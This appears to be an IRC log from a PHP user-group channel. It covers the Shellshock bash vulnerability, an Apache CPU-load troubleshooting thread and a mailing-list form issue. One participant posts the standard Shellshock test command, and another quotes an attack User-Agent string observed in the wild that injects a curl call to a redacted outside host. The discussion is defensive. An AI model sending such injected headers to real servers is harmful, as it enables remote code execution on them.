| 00:39.29 | *** join/#uphpu ninnypan_ (~ninnypant@unaffiliated/ninnypants) |
| 00:39.30 | *** mode/#UPHPU [+v ninnypan_] by ChanServ |
| 00:53.04 | *** join/#uphpu ninnypan_ (~ninnypant@unaffiliated/ninnypants) |
| 00:53.04 | *** mode/#UPHPU [+v ninnypan_] by ChanServ |
| 01:13.15 | *** join/#uphpu TuxToaster (~TuxToaste@66.133.101.200) |
| 01:13.16 | *** mode/#UPHPU [+v TuxToaster] by ChanServ |
| 01:23.17 | *** join/#uphpu josephscott (~josephsco@192.0.65.252) |
| 01:23.17 | *** mode/#UPHPU [+o josephscott] by ChanServ |
| 01:31.05 | *** join/#uphpu clintberry (~clintberr@38.73.150.199) |
| 01:31.14 | *** mode/#UPHPU [+v clintberry] by ChanServ |
| 02:04.40 | *** join/#uphpu marmarmar (~martin@199.30.68.138) |
| 02:23.49 | *** join/#uphpu TuxToaster (~TuxToaste@66.133.101.200) |
| 02:23.50 | *** mode/#UPHPU [+v TuxToaster] by ChanServ |
| 02:48.49 | *** join/#uphpu ninnypan_ (~ninnypant@unaffiliated/ninnypants) |
| 02:48.49 | *** mode/#UPHPU [+v ninnypan_] by ChanServ |
| 02:54.02 | *** join/#uphpu TuxToaster (~TuxToaste@66.133.101.200) |
| 02:54.02 | *** mode/#UPHPU [+v TuxToaster] by ChanServ |
| 03:04.52 | *** join/#uphpu josephscott (~josephsco@192.0.65.252) |
| 03:04.52 | *** mode/#UPHPU [+o josephscott] by ChanServ |
| 03:23.55 | *** join/#uphpu kendsnyder (~Adium@67-2-115-168.slkc.qwest.net) |
| 03:23.55 | *** mode/#UPHPU [+v kendsnyder] by ChanServ |
| 04:05.42 | *** join/#uphpu marmarmar (~martin@199.30.68.138) |
| 04:53.59 | *** join/#uphpu itimber (~Adium@ip72-209-186-65.ks.ks.cox.net) |
| 04:53.59 | *** mode/#UPHPU [+v itimber] by ChanServ |
| 05:16.14 | *** join/#uphpu undertakingyou (~undertaki@c-67-171-113-60.hsd1.ut.comcast.net) |
| 05:16.14 | *** mode/#UPHPU [+v undertakingyou] by ChanServ |
| 05:19.12 | *** join/#uphpu ninnypan_ (~ninnypant@unaffiliated/ninnypants) |
| 05:19.12 | *** mode/#UPHPU [+v ninnypan_] by ChanServ |
| 05:38.34 | *** join/#uphpu ninnypan_ (~ninnypant@unaffiliated/ninnypants) |
| 05:38.34 | *** mode/#UPHPU [+v ninnypan_] by ChanServ |
| 05:41.01 | *** join/#uphpu clintberry (~clintberr@38.73.150.199) |
| 05:41.01 | *** mode/#UPHPU [+v clintberry] by ChanServ |
| 06:06.26 | *** join/#uphpu marmarmar (~martin@199.30.68.138) |
| 07:14.06 | *** join/#uphpu ninnypants1 (~ninnypant@unaffiliated/ninnypants) |
| 07:14.06 | *** mode/#UPHPU [+v ninnypants1] by ChanServ |
| 07:34.09 | *** join/#uphpu eggyknap (~jtolley@unaffiliated/eggyknap) |
| 07:34.09 | *** mode/#UPHPU [+v eggyknap] by ChanServ |
| 08:07.19 | *** join/#uphpu marmarmar (~martin@199.30.68.138) |
| 09:18.47 | *** join/#uphpu TodPunk (Tod@50-198-177-186-static.hfc.comcastbusiness.net) |
| 10:08.13 | *** join/#uphpu marmarmar (~martin@199.30.68.138) |
| 12:09.06 | *** join/#uphpu marmarmar (~martin@199.30.68.138) |
| 12:19.58 | *** join/#uphpu ninnypants (~ninnypant@unaffiliated/ninnypants) |
| 12:19.59 | *** mode/#UPHPU [+v ninnypants] by ChanServ |
| 12:20.28 | *** join/#uphpu ninnypants (~ninnypant@unaffiliated/ninnypants) |
| 12:20.29 | *** mode/#UPHPU [+v ninnypants] by ChanServ |
| 12:21.23 | *** join/#uphpu ninnypants (~ninnypant@unaffiliated/ninnypants) |
| 12:21.24 | *** mode/#UPHPU [+v ninnypants] by ChanServ |
| 12:31.19 | *** join/#uphpu TuxToaster_ (~TuxToaste@66.133.101.200) |
| 13:53.42 | *** join/#uphpu marmarmar (~martin@199.30.68.138) |
| 14:14.03 | *** join/#uphpu supernovia (~Adium@2605:a601:525:d001:7ed1:c3ff:fedd:795b) |
| 14:15.18 | *** join/#uphpu josephscott (~josephsco@192.0.65.252) |
| 14:15.18 | *** mode/#UPHPU [+o josephscott] by ChanServ |
| 14:30.06 | *** join/#uphpu MikeHansenMe (~mike@c-67-166-122-65.hsd1.ut.comcast.net) |
| 14:37.18 | *** join/#uphpu ninnypants (~ninnypant@unaffiliated/ninnypants) |
| 14:37.19 | *** mode/#UPHPU [+v ninnypants] by ChanServ |
| 14:53.01 | *** join/#uphpu clintberry (~clintberr@205.197.215.90) |
| 14:53.01 | *** mode/#UPHPU [+v clintberry] by ChanServ |
| 15:06.39 | *** join/#uphpu bbankes (~bbankes@50-200-100-242-static.hfc.comcastbusiness.net) |
| 15:10.25 | *** join/#uphpu SunSparc (~jonathan@50.252.130.118) |
| 15:10.26 | *** mode/#UPHPU [+v SunSparc] by ChanServ |
| 15:30.18 | *** join/#uphpu TuxToaster (~TuxToaste@inferno.apxalarm.com) |
| 15:30.18 | *** mode/#UPHPU [+v TuxToaster] by ChanServ |
| 15:52.34 | *** join/#uphpu kendsnyder (~Adium@67.214.245.39) |
| 15:52.34 | *** mode/#UPHPU [+v kendsnyder] by ChanServ |
| 15:55.14 | *** join/#uphpu UtahDave (~boucha@208.187.248.7) |
| 15:55.14 | *** mode/#UPHPU [+o UtahDave] by ChanServ |
| 15:57.03 | *** join/#uphpu undertakingyou (~undertaki@neutroninteractive-xmission.xmission.com) |
| 15:57.03 | *** mode/#UPHPU [+v undertakingyou] by ChanServ |
| 16:12.19 | *** join/#uphpu undertakingyou (~undertaki@neutroninteractive-xmission.xmission.com) |
| 16:12.19 | *** mode/#UPHPU [+v undertakingyou] by ChanServ |
| 16:30.14 | josephscott | carmony: find what you were looking for the bash bug? |
| 16:30.24 | carmony | yeah |
| 16:30.34 | carmony | Found some non-media outlet information |
| 16:32.03 | josephscott | I'm trying to wrap my head around the HTTP point of entry, are CGIs really invoking bash? |
| 16:34.59 | carmony | I think some do, yeah |
| 16:38.04 | skinner | env x='() { :;}; echo vulnerable' bash -c "echo this is a test" |
| 16:38.40 | skinner | Bug is that you'd get 'vulnerable' outputted as well as 'this is a test' |
| 16:39.59 | josephscott | yeah, I've been reading http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html |
| 16:40.26 | josephscott | the http header approach though, that is the one that sounds scary |
| 16:40.33 | josephscott | I'm just not sure how wide spread that is |
| 17:05.09 | *** join/#uphpu TuxToaster (~TuxToaste@inferno.apxalarm.com) |
| 17:05.09 | *** mode/#UPHPU [+v TuxToaster] by ChanServ |
| 17:06.31 | *** join/#uphpu MikeHansenMe (~mike@c-67-166-122-65.hsd1.ut.comcast.net) |
| 17:10.34 | jsmith | josephscott: More widespread than you think :-( |
| 17:12.03 | josephscott | jsmith: but it isn't plain HTTP servers though right, it is only when CGI are invoked via a shell |
| 17:12.22 | josephscott | the amount of claims people are throwing around online are making this rather crazy |
| 17:13.00 | *** join/#uphpu supernovia (~Adium@107.188.227.63) |
| 17:13.05 | jsmith | josephscott: Well, if you're using something like Perl or Python to open a subshell... |
| 17:13.16 | jsmith | josephscott: There are a few other examples here: https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ |
| 17:13.47 | jsmith | josephscott: We've certainly been seeing attempts to break into all kinds of sites with sort of thing... |
| 17:14.36 | josephscott | the automated attempts are going to try everything, nothing for them to loose in doing so |
| 17:14.52 | jsmith | josephscott: My favorite is a User-agent string: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0 () { :; }; curl http://expunged/b/?url=expunged/webmail.cgi?cmd=url&url=http!3A!2F!2Fexpunged!2Flabourlaw.htm |
| 17:15.10 | josephscott | nice |
| 17:15.10 | jsmith | (with some data expunged, obviously) |
| 17:15.22 | josephscott | hmmmm |
| 17:15.47 | jsmith | Worst part is -- yesterday's patch was incomplete |
| 17:16.01 | jsmith | (and folks are scrambling to test the newer patches a bit more thoroughly before putting them out there) |
| 17:16.36 | jsmith | CVE-2014-7169 is the newer fix, for what little it's worth |
| 17:16.56 | josephscott | wondering about fastcgi |
| 17:17.45 | jsmith | Yeah, fastcgi is probably vulnerable... as HTTP headers are traditionally converted/passed via environment variables |
| 17:18.51 | *** join/#uphpu MikeHansenMe (~mike@c-67-166-122-65.hsd1.ut.comcast.net) |
| 17:23.16 | josephscott | I'm also wondering if debian/ubuntu is less of an issue by default since their move away from bash |
| 17:23.29 | josephscott | I mean I still end up installing it, but it isn't the default |
| 17:23.55 | *** join/#uphpu kendsnyder (~Adium@67.214.245.39) |
| 17:23.55 | *** mode/#UPHPU [+v kendsnyder] by ChanServ |
| 18:01.05 | *** join/#uphpu undertakingyou (~undertaki@neutroninteractive-xmission.xmission.com) |
| 18:01.05 | *** mode/#UPHPU [+v undertakingyou] by ChanServ |
| 18:14.28 | *** join/#uphpu josephscott (~josephsco@192.0.65.252) |
| 18:14.29 | *** mode/#UPHPU [+o josephscott] by ChanServ |
| 18:34.47 | *** join/#uphpu TuxToaster (~TuxToaste@inferno.apxalarm.com) |
| 18:34.47 | *** mode/#UPHPU [+v TuxToaster] by ChanServ |
| 19:34.46 | skinner | jsmith: remember helping me trying to troubleshoot a possible DOS attack last friday? |
| 19:37.45 | herlo | skinner: shellshock? |
| 19:37.59 | skinner | I don't think so |
| 19:38.07 | skinner | it's still happening tho |
| 19:38.10 | skinner | :( |
| 19:38.19 | skinner | but i don't think its ddos |
| 19:39.17 | *** join/#uphpu josephscott (~josephsco@192.0.65.252) |
| 19:39.18 | *** mode/#UPHPU [+o josephscott] by ChanServ |
| 19:41.27 | skinner | Anyone really good with apache around here? :) |
| 19:45.53 | skinner | Last week I was running four c3.2xlarge (8 core processor, ~15GB RAM) AWS EC2 instances behind a load balancer. Each has apache, MPM: Prefork, mod_php. |
| 19:46.00 | skinner | Apache config had this setup: |
| 19:46.14 | skinner | Timeout 300 |
| 19:46.14 | skinner | KeepAlive On |
| 19:46.14 | skinner | MaxKeepAliveRequests 100 |
| 19:46.14 | skinner | KeepAliveTimeout 5 |
| 19:46.14 | skinner | StartServers 5 |
| 19:46.15 | skinner | MinSpareServers 5 |
| 19:46.15 | skinner | MaxSpareServers 10 |
| 19:46.16 | skinner | MaxClients 150 |
| 19:46.16 | skinner | MaxRequestsPerChild 0 |
| 19:47.00 | skinner | With no changes to our code, or infrastructure, all four production servers CPU increased to 100% and sat there. |
| 19:47.10 | skinner | No change in traffic in or out on network interfaces. |
| 19:47.34 | skinner | Ram showed no change. |
| 19:48.19 | skinner | We have since added four more servers, total of 8 now. And increased MaxClients to 250. |
| 19:48.47 | skinner | Before we averaged a CPU% usage of around 20% when on the 4 servers. |
| 19:49.01 | skinner | Now with 8, we are averaging 45 - 50% |
| 19:49.27 | skinner | Can anyone provide some pointers in what I can look into to determine why this is so? |
| 19:49.47 | skinner | Apache error logs show nothing. |
| 19:49.54 | skinner | Access logs are all normal. |
| 19:55.02 | *** join/#uphpu supernovia (~Adium@2605:a601:525:d001:8c64:30c6:2ef5:d44) |
| 19:55.25 | fungus | If your CPU's are getting maxed, tuning the MaxClients even bigger is a bad thing. |
| 19:56.12 | fungus | It can only exacerbate the problem. |
| 19:58.06 | fungus | skinner, take a look at the Apache server-status page. Does it show high cpu usage on any individual requests? |
| 19:58.47 | skinner | Something like this? |
| 19:58.48 | skinner | 11-0278200/322/1283R67.671900.07.0536.85??..reading.. |
| 19:58.51 | fungus | analyze your access logs to see if traffic patterns changed. |
| 19:58.51 | skinner | err.... |
| 19:58.56 | skinner | that didn't render well |
| 19:59.10 | skinner | access logs show no change in patterns |
| 19:59.43 | skinner | I see many processes on the server-status page that show 50 - 80% cpu |
| 20:01.42 | fungus | So those requests would be the first ones to analyze |
| 20:01.44 | skinner | looking at bytes in/out on our network interfaces shows no change from the norm |
| 20:02.02 | skinner | Most of them show: |
| 20:02.05 | skinner | Client: ? |
| 20:02.10 | skinner | VHost: ? |
| 20:02.15 | skinner | Request: ..reading.. |
| 20:02.32 | skinner | I'm not sure how to analyze that |
| 20:03.56 | fungus | Most requests show that, or just the high CPU ones? |
| 20:04.32 | skinner | Most of those are high |
| 20:04.44 | skinner | the ones that show data in the request column are under 10% |
| 20:04.54 | skinner | *most of them |
| 20:05.04 | skinner | i see a couple that are 10 - 20 |
| 20:08.17 | fungus | I would consult your load graphs to find the time when the problem started, and cross reference with any and all logs. Especially any deployment logs. Perhaps your devs are lying. |
| 20:08.50 | fungus | or any software installs, package updates, etc. |
| 20:09.06 | fungus | access logs too |
| 20:09.50 | fungus | Something changed. be it hardware, software, traffic, etc. |
| 20:11.23 | skinner | our devs is just me and one other guy |
| 20:11.41 | fungus | In the mean time, for mitigation sake, reduce your MaxClients and add more nodes to scale out. |
| 20:12.06 | skinner | We originally lowered the clients to 100 |
| 20:12.13 | skinner | and out system was inaccessable |
| 20:12.22 | skinner | added two servers to bring total to 6 |
| 20:12.30 | skinner | then increased clients back to 150 |
| 20:12.42 | skinner | it helped but still was mostly unresponsive |
| 20:13.42 | fungus | when using mpm_pefork, MaxClients is the max number of Apache worker processes. If you are CPU bound, you need to reduce this so traffic doesn't destroy your ability to respond to requests. |
| 20:14.00 | herlo | aricg: I'd say put it at 10-20 for a bit, to see if that helps. |
| 20:14.06 | skinner | Is there a location on a debian system where software/system changes are logged |
| 20:14.23 | fungus | probably /var/log/apt |
| 20:16.02 | skinner | k i'll check there |
| 20:38.22 | *** join/#uphpu kendsnyder (~Adium@67.214.245.39) |
| 20:38.22 | *** mode/#UPHPU [+v kendsnyder] by ChanServ |
| 20:58.24 | SunSparc | I had a web server that was getting hammered in what appeared to be a ddos. The MaxClients was set to 75 and I turned it down to 20, but the attack was still too much for the web server. I eventually just turned off the web server long enough to add the offending IP's to a firewall. |
| 21:01.49 | DexterTheDragon | https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/ |
| 21:04.15 | SunSparc | Fun with network users. :) |
| 21:35.33 | *** part/#uphpu littleSkinner (~JSkinn@asa-2.fbp.ore.fiber.net) |
| 23:10.40 | *** join/#uphpu bbankes (~bbankes@67-2-219-238.slkc.qwest.net) |
| 23:13.54 | *** join/#uphpu bbankes (~bbankes@67-2-219-238.slkc.qwest.net) |
| 23:18.44 | josephscott | my regularly scheduled ping to carmony about http://uphpu.org/pipermail/uphpu-jobs/ :-) |
| 23:18.54 | carmony | sigh |
| 23:23.36 | SunSparc | ~sigh carmony |
| 23:23.37 | infobot | ACTION sighs, rolls its eyes and shakes its head, "carmony!" |
| 23:23.44 | SunSparc | :) |
| 23:23.54 | carmony | I just need to log in and figure out what the heck is wrong with it :P |
| 23:24.14 | carmony | I've looked a few times with a few ideas |
| 23:24.18 | SunSparc | What is going on? Is there something wrong? |
| 23:24.19 | carmony | but I'm a mailman newb |
| 23:24.20 | josephscott | or unleash fungus on it :-) |
| 23:24.48 | josephscott | might not even be a mailman issue, the form might be broken that does the submit stuff |
| 23:26.13 | SunSparc | Are you talking about this form? http://uphpu.org/employment |
| 23:26.26 | SunSparc | :) |
| 23:27.37 | fungus | it's a mailman "issue", meaning it's purposefully configured to respond to posts with a canned message. Not issue in terms of behaving incorrectly. |
| 23:29.00 | fungus | There are 2 solutions: 1. Add the http://uphpu.org/employment page back to the website. 2. Disable the canned reply and post all messages. |
| 23:30.12 | fungus | It's a feature... not a bug. :) |
| 23:33.30 | josephscott | :-) |
| 23:36.08 | fungus | carmony, FYI, the employment page in question looks like this: https://web.archive.org/web/20131209175945/http://uphpu.org/employment/ |
| 23:42.53 | josephscott | ~go get my week back |